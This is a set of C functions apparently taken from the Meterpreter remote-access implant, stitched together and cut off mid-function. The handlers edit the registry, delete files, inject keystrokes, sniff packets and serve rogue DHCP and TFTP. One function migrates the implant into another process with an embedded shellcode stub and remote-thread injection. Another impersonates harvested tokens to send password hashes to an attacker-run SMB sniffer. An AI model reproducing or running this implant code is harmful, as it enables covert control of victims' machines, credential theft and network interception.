/* * core_crypto_negotiate * --------------------- * * Negotiates a cryptographic session with the remote host * * req: TLV_TYPE_CIPHER_NAME -- The cipher being selected. * opt: TLV_TYPE_CIPHER_PARAMETERS -- The paramters passed to the cipher for * initialization */ DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet) { LPCSTR cipherName = packet_get_tlv_value_string(packet, TLV_TYPE_CIPHER_NAME); DWORD res = ERROR_INVALID_PARAMETER; Packet *response = packet_create_response(packet); // If a cipher name was supplied, set it if (cipherName) res = remote_set_cipher(remote, cipherName, packet); // Transmit a response if (response) { res = packet_transmit_response(res, remote, response); } return ERROR_SUCCESS; }
//Adds a file to serve based on the name and value specified in the packet DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet){ DWORD retval = ERROR_SUCCESS; char* name = NULL; unsigned int namelen = 0; Packet *response = packet_create_response(packet); do{ Tlv tlv; //Get file contents if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS) break; //Get file name name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); namelen = strlen(name); addTFTPFile(tftpserver, name, namelen, tlv.buffer, tlv.header.length); } while (0); packet_transmit_response(retval, remote, response); return ERROR_SUCCESS; }
//Set a DHCP option based on the name and value specified in the packet DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet){ DWORD retval = ERROR_SUCCESS; char* name = NULL; unsigned int namelen = 0; Packet *response = packet_create_response(packet); do{ //Get option value Tlv tlv; if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS) break; //Get option name name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); namelen = strlen(name); setDHCPOption(dhcpserver, name, namelen, tlv.buffer, tlv.header.length); } while (0); packet_transmit_response(retval, remote, response); return ERROR_SUCCESS; }
DWORD request_core_enumextcmd(Remote* remote, Packet* packet) { BOOL bResult = FALSE; Packet* pResponse = packet_create_response(packet); if (pResponse != NULL) { EnumExtensions enumExt; enumExt.pResponse = pResponse; enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING); dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName); // Start by enumerating the names of the extensions bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt); packet_transmit_response(ERROR_SUCCESS, remote, pResponse); } return ERROR_SUCCESS; }
DWORD request_registry_unload_key(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCTSTR baseKey = NULL; HKEY rootKey = NULL; DWORD result; rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY); if ((!rootKey) || (!baseKey)) result = ERROR_INVALID_PARAMETER; else { result = RegUnLoadKey(rootKey,baseKey); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) { DWORD result = ERROR_SUCCESS; // make sure we are not trying to remove the last transport if (remote->transport == remote->transport->prev_transport) { dprintf("[DISPATCH] Refusing to delete the last transport"); result = ERROR_INVALID_FUNCTION; } else { Transport* found = NULL; Transport* transport = remote->transport; char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANS_URL); do { if (strcmp(transportUrl, transport->url) == 0) { found = transport; break; } transport = transport->next_transport; } while (transport != remote->transport); if (found == NULL || found == remote->transport) { dprintf("[DISPATCH] Transport not found, or attempting to remove current"); // if we don't have a valid transport, or they're trying to remove the // existing one, then bomb out (that might come later) result = ERROR_INVALID_PARAMETER; } else { remote->trans_remove(remote, found); dprintf("[DISPATCH] Transport removed"); } SAFE_FREE(transportUrl); } packet_transmit_empty_response(remote, packet, result); dprintf("[DISPATCH] Response sent."); return result; }
static DWORD open_key(Packet *packet, HKEY *rootKey, HKEY *resKey) { LPCTSTR baseKey = NULL; DWORD result = ERROR_INVALID_PARAMETER; DWORD permission; *rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY); permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); // Validate the parameters and then attempt to create the key if (rootKey && baseKey) { if (!permission) permission = KEY_ALL_ACCESS; result = RegOpenKeyEx(*rootKey, baseKey, 0, permission, resKey); } return result; }
DWORD request_resolve_host(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR hostname = NULL; struct in_addr addr; struct in6_addr addr6; u_short ai_family = AF_INET; int iResult; hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME); if (!hostname) { iResult = ERROR_INVALID_PARAMETER; dprintf("Hostname not set"); } else { ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); iResult = resolve_host(hostname, ai_family, &addr, &addr6); if (iResult == NO_ERROR) { if (ai_family == AF_INET) { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } else { dprintf("Unable to resolve_host %s error: %x", hostname, iResult); } } packet_transmit_response(iResult, remote, response); return ERROR_SUCCESS; }
/* * Sets a registry value with the supplied data for a given HKEY. * * TLVs: * * req: TLV_TYPE_HKEY - The HKEY to set the value on * req: TLV_TYPE_VALUE_NAME - The name of the value to set * req: TLV_TYPE_VALUE_TYPE - The type of the value to set * req: TLV_TYPE_VALUE_DATA - The data to set the value to */ DWORD request_registry_set_value(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR valueName = NULL; DWORD valueType = 0; DWORD result = ERROR_SUCCESS; HKEY hkey = NULL; Tlv valueData; // Acquire the standard TLVs hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY); valueName = packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME); valueType = packet_get_tlv_value_uint(packet, TLV_TYPE_VALUE_TYPE); do { // Get the value data TLV if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &valueData) != ERROR_SUCCESS) { result = ERROR_INVALID_PARAMETER; break; } // Now let's rock this shit! result = RegSetValueEx(hkey, valueName, 0, valueType, valueData.buffer, valueData.header.length); } while (0); // Populate the result code packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); // Transmit the response packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/*! * @brief Check to see if a registry key exists. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request \c Packet instance. * @returns Always returns \c ERROR_SUCCESS. */ DWORD request_registry_check_key_exists(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCTSTR baseKey = NULL; HKEY rootKey = NULL; HKEY resultKey = NULL; BOOL exists = FALSE; DWORD result; rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY); if (rootKey && baseKey) { result = RegOpenKeyA(rootKey, baseKey, &resultKey); if (result == ERROR_SUCCESS) { dprintf("[REG] Key found"); RegCloseKey(resultKey); exists = TRUE; } dprintf("[REG] Key exists? %s", exists ? "TRUE" : "FALSE"); packet_add_tlv_bool(response, TLV_TYPE_BOOL, exists); result = ERROR_SUCCESS; } else { dprintf("[REG] Invalid parameter"); result = ERROR_INVALID_PARAMETER; } dprintf("[REG] Returning result: %u %x", result, result); packet_transmit_response(result, remote, response); dprintf("[REG] done."); return ERROR_SUCCESS; }
/* * Removes the supplied file from disk * * TLVs: * * req: TLV_TYPE_FILE_PATH - The file that is to be removed. */ DWORD request_fs_delete_file(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR path; DWORD result = ERROR_SUCCESS; path = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!path) result = ERROR_INVALID_PARAMETER; #ifdef _WIN32 else if (!DeleteFile(path)) #else else if (!unlink(path)) #endif result = GetLastError(); packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Expands a file path and returns the expanded path to the requestor * * req: TLV_TYPE_FILE_PATH - The file path to expand */ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; LPSTR expanded = NULL; LPSTR regular; regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); do { // No regular path? if (!regular) { result = ERROR_INVALID_PARAMETER; break; } // Allocate storage for the expanded path if (!(expanded = fs_expand_path(regular))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded); } while (0); // Transmit the response to the mofo packet_transmit_response(result, remote, response); if (expanded) free(expanded); return ERROR_SUCCESS; }
DWORD request_ui_send_keys(Remote *remote, Packet *request) { Packet *response = packet_create_response(request); DWORD result = ERROR_SUCCESS; wchar_t *keys = utf8_to_wchar(packet_get_tlv_value_string(request, TLV_TYPE_KEYS_SEND)); if (keys) { INPUT input[2] = {0}; input[0].type = INPUT_KEYBOARD; input[0].ki.time = 0; input[0].ki.wVk = 0; input[0].ki.dwExtraInfo = 0; input[0].ki.dwFlags = KEYEVENTF_UNICODE; input[1].type = INPUT_KEYBOARD; input[1].ki.time = 0; input[1].ki.wVk = 0; input[1].ki.dwExtraInfo = 0; input[1].ki.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP; wchar_t *loopkeys = keys; while (*loopkeys != 0) { input[0].ki.wScan = *loopkeys; input[1].ki.wScan = *loopkeys; SendInput(2, input, sizeof(INPUT)); loopkeys++; } free(keys); } else { result = 1; } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Gets information about the file path that is supplied and returns it to the * requestor * * TLVs: * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_stat(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); struct stat buf; LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); // Validate parameters if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { // Stat the file using the Microsoft stat wrapper so that we don't have to // do translations if (stat(expanded, &buf) < 0) result = GetLastError(); else packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return ERROR_SUCCESS; }
/* * Creates a registry key and returns the associated HKEY to the caller if the * operation succeeds. * * TLVs: * * req: TLV_TYPE_ROOT_KEY - The root key * req: TLV_TYPE_BASE_KEY - The base key * opt: TLV_TYPE_PERMISSION - Permissions with which to create the key */ DWORD request_registry_create_key(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCTSTR baseKey = NULL; HKEY rootKey = NULL, resKey; DWORD permission; DWORD result; rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY); permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); // Validate the parameters and then attempt to create the key if ((!rootKey) || (!baseKey)) result = ERROR_INVALID_PARAMETER; else { if (!permission) permission = KEY_ALL_ACCESS; result = RegCreateKeyEx(rootKey, baseKey, 0, NULL, 0, permission, NULL, &resKey, NULL); } // Add the HKEY if we succeeded, but always return a result if (result == ERROR_SUCCESS) { packet_add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Deletes a registry value from the supplied registry key * * TLVs: * * req: TLV_TYPE_HKEY - The HKEY from which to delete the value * req: TLV_TYPE_VALUE_NAME = The name of the value to delete */ DWORD request_registry_delete_value(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR valueName = NULL; DWORD result = ERROR_SUCCESS; HKEY hkey = NULL; hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY); valueName = (LPCSTR)packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME); // Check for invalid parameters if ((!hkey) || (!valueName)) result = ERROR_INVALID_PARAMETER; else result = RegDeleteValue(hkey, valueName); // Set the result and send the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Returns the address of a procedure that is associated with the supplied * module to the requestor. * * req: TLV_TYPE_IMAGE_NAME - The name of the image to query. * req: TLV_TYPE_PROCEDURE_NAME - The name of the procedure to query. */ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; HMODULE mod = NULL; BOOLEAN unload = FALSE; HANDLE process; LPCSTR image; LPCSTR procedure; LPVOID address = NULL; process = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); image = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE); procedure = packet_get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME); do { // Validate parameters if ((!image) || (!procedure)) { result = ERROR_INVALID_PARAMETER; break; } // If the process handle is not this process... if (process != GetCurrentProcess()) { if ((result = remote_load_library(process, image, &mod)) != ERROR_SUCCESS) break; if ((result = remote_get_proc_address(process, mod, procedure, &address)) != ERROR_SUCCESS) break; } // Otherwise, load the library locally else { unload = TRUE; if (!(mod = LoadLibrary(image))) { result = GetLastError(); break; } // Try to resolve the procedure name if (!(address = (LPVOID)GetProcAddress(mod, procedure))) { result = GetLastError(); break; } } // Set the procedure address on the response packet_add_tlv_uint(response, TLV_TYPE_PROCEDURE_ADDRESS, (DWORD)address); } while (0); // Lose the reference to the module if ((mod) && (unload)) FreeLibrary(mod); else if (mod) remote_unload_library(process, mod); // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Allocates a streaming TCP server channel. * @param remote Pointer to the remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Opening the server channel completed successfully. */ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; TcpServerContext * ctx = NULL; Packet * response = NULL; char * localHost = NULL; StreamChannelOps chops = { 0 }; USHORT localPort = 0; BOOL v4Fallback = FALSE; do { response = packet_create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); } ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext)); if (!ctx) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); } memset(ctx, 0, sizeof(TcpServerContext)); ctx->remote = remote; localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); if (!localPort) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. localPort == NULL", ERROR_INVALID_HANDLE); } localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if (ctx->fd == INVALID_SOCKET) { v4Fallback = TRUE; } else { int no = 0; if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) { // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common // so instead, we'll just revert back to v4 and listen on that one address instead. closesocket(ctx->fd); v4Fallback = TRUE; } } struct sockaddr_in6 sockAddr = { 0 }; DWORD sockAddrSize = 0; if (v4Fallback) { struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; v4Addr->sin_addr.s_addr = localHost == NULL ? htons(INADDR_ANY) : inet_addr(localHost); v4Addr->sin_family = AF_INET; v4Addr->sin_port = htons(localPort); sockAddrSize = sizeof(struct sockaddr_in); } else { // TODO: add IPv6 address binding support sockAddr.sin6_addr = in6addr_any; sockAddr.sin6_family = AF_INET6; sockAddr.sin6_port = htons(localPort); sockAddrSize = sizeof(struct sockaddr_in6); } if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed"); } if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed"); } ctx->notify = WSACreateEvent(); if (ctx->notify == WSA_INVALID_EVENT) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed"); } if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed"); } ctx->ipv6 = !v4Fallback; memset(&chops, 0, sizeof(StreamChannelOps)); chops.native.context = ctx; chops.native.close = tcp_channel_server_close; ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); if (!ctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE); } scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel)); dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel)); } while (0); packet_transmit_response(dwResult, remote, response); do { if (dwResult == ERROR_SUCCESS) { break; } dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); if (!ctx) { break; } if (ctx->fd) { dprintf("[TCP-SERVER] Destroying socket"); closesocket(ctx->fd); } if (ctx->channel) { dprintf("[TCP-SERVER] Destroying channel"); channel_destroy(ctx->channel, packet); } free(ctx); } while (0); return dwResult; }
DWORD remote_request_core_migrate(Remote *remote, Packet *packet) { MigrationStubContext context; TOKEN_PRIVILEGES privs; HANDLE token = NULL; Packet *response = packet_create_response(packet); HANDLE process = NULL; HANDLE thread = NULL; HANDLE event = NULL; LPVOID dataBase; LPVOID codeBase; DWORD threadId; DWORD result = ERROR_SUCCESS; DWORD pid; PUCHAR payload; // Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer). BYTE stub[] = "\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext * "\x89\xE5" // mov ebp,esp ; create stack frame "\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack "\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32 "\x51" // push ecx ; push "ws2_32" "\xFF\x16" // call near [esi] ; call loadLibrary "\x54" // push esp ; push stack address "\x6A\x02" // push byte +0x2 ; push 2 "\xFF\x56\x0C" // call near [esi+0xC] ; call wsaStartup "\x6A\x00" // push byte +0x0 ; push null "\x6A\x00" // push byte +0x0 ; push null "\x8D\x46\x28" // lea eax,[esi+0x28] ; EAX = MigrationStubContext->info "\x50" // push eax ; push our duplicated socket "\x6A\x00" // push byte +0x0 ; push null "\x6A\x02" // push byte +0x2 ; push 2 "\x6A\x01" // push byte +0x1 ; push 1 "\xFF\x56\x10" // call near [esi+0x10] ; call wsaSocket "\x97" // xchg eax,edi ; edi now = our duplicated socket "\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event "\xFF\x56\x18" // call near [esi+0x18] ; call setevent "\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase "\xC3"; // ret ; return into the payload // Get the process identifier to inject into pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer... context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload (metsrv.dll + loader) payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Try to enable the debug privilege so that we can migrate into system // services if we're administrator. if (OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { privs.PrivilegeCount = 1; privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &privs.Privileges[0].Luid); AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL); CloseHandle(token); } do { // Open the process so that we can into it if (!(process = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid))) { result = GetLastError(); break; } // If the socket duplication fails... if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR) { result = WSAGetLastError(); break; } // Create a notification event that we'll use to know when // it's safe to exit (once the socket has been referenced in // the other process) if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL))) { result = GetLastError(); break; } // Duplicate the event handle into the target process if (!DuplicateHandle(GetCurrentProcess(), event, process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS)) { result = GetLastError(); break; } // Initialize the migration context context.loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"); context.wsaStartup = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup"); context.wsaSocket = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA"); context.recv = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv"); context.setevent = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent"); strcpy(context.ws2_32, "ws2_32"); // Allocate storage for the stub and context if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; } // Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload... if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; } // Initialize the data and code base in the target process codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext); if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL)) { result = GetLastError(); break; } if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL)) { result = GetLastError(); break; } if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL)) { result = GetLastError(); break; } // Send a successful response to let them know that we've pretty much // successfully migrated and are reaching the point of no return packet_transmit_response(result, remote, response); // XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket. // Shut down our SSL session // ssl_close_notify(&remote->ssl); // ssl_free(&remote->ssl); response = NULL; // Create the thread in the remote process if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId))) { result = GetLastError(); ExitThread(result); } // Wait at most 5 seconds for the event to be set letting us know that // it's finished if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0) { result = GetLastError(); ExitThread(result); } // Exit the current process now that we've migrated to another one dprintf("Shutting down the Meterpreter thread..."); ExitThread(0); } while (0); // If we failed and have not sent the response, do so now if (result != ERROR_SUCCESS && response) packet_transmit_response(result, remote, response); // Cleanup if (process) CloseHandle(process); if (thread) CloseHandle(thread); if (event) CloseHandle(event); return ERROR_SUCCESS; }
// Send off hashes for all tokens to IP address with SMB sniffer running DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet) { DWORD num_tokens = 0, i; SavedToken *token_list = NULL; NETRESOURCEW nr; HANDLE saved_token; TOKEN_PRIVS token_privs; wchar_t conn_string[BUF_SIZE] = L"", domain_name[BUF_SIZE] = L"", return_value[BUF_SIZE] = L"", temp[BUF_SIZE] = L""; Packet *response = packet_create_response(packet); char *smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); // Initialise net_resource structure (essentially just set ip to that of smb_sniffer) if (_snwprintf(conn_string, BUF_SIZE, L"\\\\%s", smb_sniffer_ip) == -1) { conn_string[BUF_SIZE - 1] = '\0'; } nr.dwType = RESOURCETYPE_ANY; nr.lpLocalName = NULL; nr.lpProvider = NULL; nr.lpRemoteName = conn_string; // Save current thread token if one is currently being impersonated if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) saved_token = INVALID_HANDLE_VALUE; token_list = get_token_list(&num_tokens, &token_privs); if (!token_list) { packet_transmit_response(GetLastError(), remote, response); goto cleanup; } // Use every token and get hashes by connecting to SMB sniffer for (i = 0; i < num_tokens; i++) { if (token_list[i].token) { get_domain_from_token(token_list[i].token, domain_name, BUF_SIZE); // If token is not "useless" local account connect to sniffer // XXX This may need some expansion to support other languages if (_wcsicmp(domain_name, L"NT AUTHORITY")) { // Impersonate token ImpersonateLoggedOnUser(token_list[i].token); // Cancel previous connection to ensure hashes are sent and existing connection isn't reused WNetCancelConnection2W(nr.lpRemoteName, 0, TRUE); // Connect to smb sniffer if (!WNetAddConnection2W(&nr, NULL, NULL, 0)) { // Revert to primary token RevertToSelf(); } } CloseHandle(token_list[i].token); } } packet_transmit_response(ERROR_SUCCESS, remote, response); cleanup: free(token_list); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) { ImpersonateLoggedOnUser(saved_token); } return ERROR_SUCCESS; }
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; unsigned int maxp; CaptureJob *j; DWORD result; HANDLE ifh; #ifndef _WIN32 char errbuf[PCAP_ERRBUF_SIZE+4]; char *name; #endif check_pssdk(); dprintf("sniffer>> start_capture()"); ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); maxp = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT); maxp = min(maxp, SNIFFER_MAX_QUEUE); maxp = max(maxp, 1); result = ERROR_SUCCESS; do { // the interface is invalid if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } #ifdef _WIN32 ifh = pktsdk_interface_by_index(ifid); if (ifh == NULL) { result = ERROR_INVALID_PARAMETER; break; } #else ifh = ifid; #endif j = &open_captures[ifid]; // the interface is already being captured if (j->active) { result = ERROR_INVALID_PARAMETER; break; } #ifdef _WIN32 j->adp = AdpCreate(); dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp); AdpSetConfig(j->adp, ifh); hErr = AdpOpenAdapter(j->adp); dprintf("sniffer>> capture_start() AdpOpenAdapter: 0x%.8x", hErr); if (hErr != HNERR_OK) { AdpDestroy(j->adp); result = hErr; break; } j->capture_linktype = 1; // LINKTYPE_ETHERNET forced on windows #else name = get_interface_name_by_index(ifh); if(!name) { result = ERROR_INVALID_PARAMETER; break; } j->pcap = pcap_open_live(name, 65535, 1, 1000, errbuf); if(!j->pcap) { result = EACCES; break; } j->capture_linktype = dlt_to_linktype(pcap_datalink(j->pcap)); // get the datalink associated with the capture, needed when saving pcap file if (-1 == j->capture_linktype) { j->capture_linktype = 1; // force to LINKTYPE_ETHERNET in case of error } if(packet_filter) { struct bpf_program bpf; char *add_filter; char *real_filter = NULL; int rc; dprintf("handling packet_filter"); add_filter = packet_get_tlv_value_string(packet, TLV_TYPE_SNIFFER_ADDITIONAL_FILTER); dprintf("add_filter = %p (%s)", add_filter, add_filter ? add_filter : ""); if(add_filter) { asprintf(&real_filter, "%s and (%s)", packet_filter, add_filter); } else { real_filter = strdup(packet_filter); } dprintf("the real filter string we'll be using is '%s'", real_filter); rc = pcap_compile(j->pcap, &bpf, real_filter, 1, 0); free(real_filter); if(rc == -1) { dprintf("pcap compile reckons '%s' is a failure because of '%s'", real_filter, pcap_geterr(j->pcap)); result = ERROR_INVALID_PARAMETER; break; } dprintf("compiled filter, now setfilter()'ing"); rc = pcap_setfilter(j->pcap, &bpf); pcap_freecode(&bpf); if(rc == -1) { dprintf("can't set filter because '%s'", pcap_geterr(j->pcap)); result = ERROR_INVALID_PARAMETER; break; } dprintf("filter applied successfully"); } j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL, NULL); if(! j->thread) { pcap_close(j->pcap); break; } #endif j->pkts = calloc(maxp, sizeof(*(j->pkts))); if (j->pkts == NULL) { #ifdef _WIN32 AdpCloseAdapter(j->adp); AdpDestroy(j->adp); #else pcap_close(j->pcap); #endif result = ERROR_ACCESS_DENIED; break; } j->active = 1; j->intf = ifid; j->max_pkts = maxp; j->cur_pkts = 0; j->mtu = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp)); #ifdef _WIN32 AdpSetOnPacketRecv(j->adp, (FARPROC)sniffer_receive, (DWORD_PTR)j); AdpSetMacFilter(j->adp, mfAll); #else thread_run(j->thread); #endif } while (0); packet_transmit_response(result, remote, response); return 